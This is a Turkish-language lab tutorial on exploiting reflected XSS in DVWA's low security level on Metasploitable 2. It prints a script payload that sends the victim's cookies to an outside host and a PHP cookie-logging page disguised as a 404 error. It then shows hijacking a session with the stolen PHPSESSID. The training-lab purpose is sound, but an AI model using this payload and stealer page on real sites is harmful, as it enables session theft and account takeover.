Bu yazımızda vulnhub makinesi olan metasploitable 2’nin DVWA adlı web pentest ortamının reflected xss düşük seviyesini inceleyip anlatacağım.
Reflected XSS Nedir ?
Reflectedin Türkçe si yansımadır. Kısaca anlatacak olursak kullanıcının girdiği veriyi ekrana yansıtan bir kısım var ise bu kısma bakıyor olacağız. Stored XSS den tek farkı reflectedin veritabanına gitmeden sunucuya gidip sunucudan verimizi göstermesidir.
Eğer bu kısımda kısıtlama , filtreleme , blocklama , güvenlik yoksa gireceğimiz script ile işlemlerimizi yapmış olacağız. Low level de ise hiçbir güvenlik önlemi yoktur. Bu yüzden bu tarz güvenlik önlemi olmayan siteleri günümüzde görmek zordur.
<script> window.location=’http://192.168.138.128/?cookie=’ + document.cookie</script>

Bu kodu yazdığımız zaman bizi 192.168.138.128 yazdığımızda attığı kısıma atmaktadır. Biz bu sitenin yerine herhangi başka bir yazı , site ekleyebilirdik. Bu siteye yönlendirildiğiniz zaman yönlenen kişinin çerezleri bizlere gelmiş olacak. Bizlere gelmesi içinde bir php ve html dosyası oluşturup oraya yollayabiliriz. Nasıl yollayacağını ise kısaca alttaki php dosyamızı kaydettikten sonra bu adres ile saldırı yapacağız.
<html>
<head>
<title>404 Not Found</title>
</head>
<body>
404 Not Found
<?php
$ip
=
$_SERVER
[
"REMOTE_ADDR"
];
// Sayfaya girenin ip’si alınır.
$cookie
=
$_GET
[
"cookie"
];
// Hazırlanmış linke tıklayanın çerezi alınır.
$dateTime
=
date
(
'd.m.y \t H:i:s'
);
// Kurbanın hazırlanmış linke tıkladığı anki zaman alınır.
$file
=
fopen
(
"cerezler.html"
,
"a+"
);
fwrite(
$file
,
"#######################################<br>"
);
fwrite(
$file
,
"Kurbanin IP Adresi : "
.
$ip
.
"<br>"
);
fwrite(
$file
,
"Tiklama Zamani : "
.
$dateTime
.
"<br>"
);
fwrite(
$file
,
"Kurbanin Cerezi : "
.
$cookie
.
"<br>"
);
fwrite(
$file
,
"#######################################<br><br><br>"
);
fclose(
$file
);
?>
</body>
</html>
Böylelikle siz oturum çerezinizi bize göndermiş oluyorsunuz. Testi yapan bizler ise hazırladığımız php dosyası ile kurbandan gelen çerezi cerezler.html dosyasına kaydetmiş oluyoruz. Siteye girip tıklayan ise yönlendirildiği sayfada şöyle bir çıktıyla karşılaşacaktır. 404 not found şeklinde fakat biz 192.168.138.128 adresine yönlendirdiğimiz için onu görecektir.

Daha sonrasında cookie edit eklentimizi yükleyip bu eklentimize dvwa login kısmında geliyoruz. Login kısmından eklediğimiz eklentiye tıklayarak PHPSESSID mizi giriyoruz güvenlik seviyemizi yazıyoruz ve yeşil tik işaretine basıyoruz.
Daha sonrasında ise çerezleri aldığımız için giriş yapan kullanıcıymış gibi gözüküyoruz ve 192.168.138.128/dvwa yazdığımız ve gittiğimiz zaman hiç bir ad şifre yazmadan giriş yapmış bulunuyoruz.
